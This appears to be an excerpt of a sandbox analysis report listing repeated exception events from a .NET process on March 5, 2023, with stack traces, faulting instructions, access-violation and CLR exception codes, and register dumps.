__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa238d6 0xa23797 0xa236ad 0xa22d1f 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943380 registers.edi: 2943604 registers.eax: 0 registers.ebp: 2943616 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 47377348 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa238d6 0xa23797 0xa236ad 0xa22d1f 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943380 registers.edi: 2943604 registers.eax: 0 registers.ebp: 2943616 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45329816 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa27cac 0xa27b58 0xa23695 0xa22fbd 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943384 registers.edi: 2943608 registers.eax: 0 registers.ebp: 2943620 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45329816 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa27cac 0xa27b58 0xa236ad 0xa22fbd 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943384 registers.edi: 2943608 registers.eax: 0 registers.ebp: 2943620 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45329816 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa27cac 0xa27b58 0xa236ad 0xa22fbd 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943384 registers.edi: 2943608 registers.eax: 0 registers.ebp: 2943620 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45329816 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa2838b 0xa28210 0xa23695 0xa230bc 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943396 registers.edi: 2943620 registers.eax: 0 registers.ebp: 2943632 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45318892 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa2838b 0xa28210 0xa236ad 0xa230bc 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943396 registers.edi: 2943620 registers.eax: 0 registers.ebp: 2943632 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45318892 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa2838b 0xa28210 0xa236ad 0xa230bc 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943396 registers.edi: 2943620 registers.eax: 0 registers.ebp: 2943632 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45318892 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa28abb 0xa28988 0xa23695 0xa231a9 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943480 registers.edi: 2943704 registers.eax: 0 registers.ebp: 2943716 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45318892 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa28abb 0xa28988 0xa236ad 0xa231a9 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943480 registers.edi: 2943704 registers.eax: 0 registers.ebp: 2943716 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45318892 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0xa28abb 0xa28988 0xa236ad 0xa231a9 0xa22525 0x6d7c87 0x6d25a5 0x6d20b6 0x6d05a0 0x6d006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 5c 38 a1 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa241de registers.esp: 2943480 registers.edi: 2943704 registers.eax: 0 registers.ebp: 2943716 registers.edx: 10565356 registers.ebx: 2945492 registers.esi: 45318892 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x9c759c 0x9c74be 0x9c24dd 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9c7690 registers.esp: 2617784 registers.edi: 2617836 registers.eax: 0 registers.ebp: 2617848 registers.edx: 4236432 registers.ebx: 2618740 registers.esi: 45907856 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72781194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72652ba1 mscorlib+0x36dd11 @ 0x70d7dd11 mscorlib+0x32fea6 @ 0x70d3fea6 mscorlib+0x30ab40 @ 0x70d1ab40 0x9c947a 0x9c932e 0x9c8aa9 0x9c7ece 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 2616796 registers.edi: 0 registers.eax: 2616796 registers.ebp: 2616876 registers.edx: 0 registers.ebx: 4961944 registers.esi: 4236432 registers.ecx: 1488884791	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72781194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72652ba1 mscorlib+0x36dd51 @ 0x70d7dd51 mscorlib+0x32fea6 @ 0x70d3fea6 mscorlib+0x30ab40 @ 0x70d1ab40 0x9c947a 0x9c932e 0x9c8aa9 0x9c7ece 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 2616796 registers.edi: 0 registers.eax: 2616796 registers.ebp: 2616876 registers.edx: 0 registers.ebx: 4961944 registers.esi: 4236432 registers.ecx: 1488884791	1
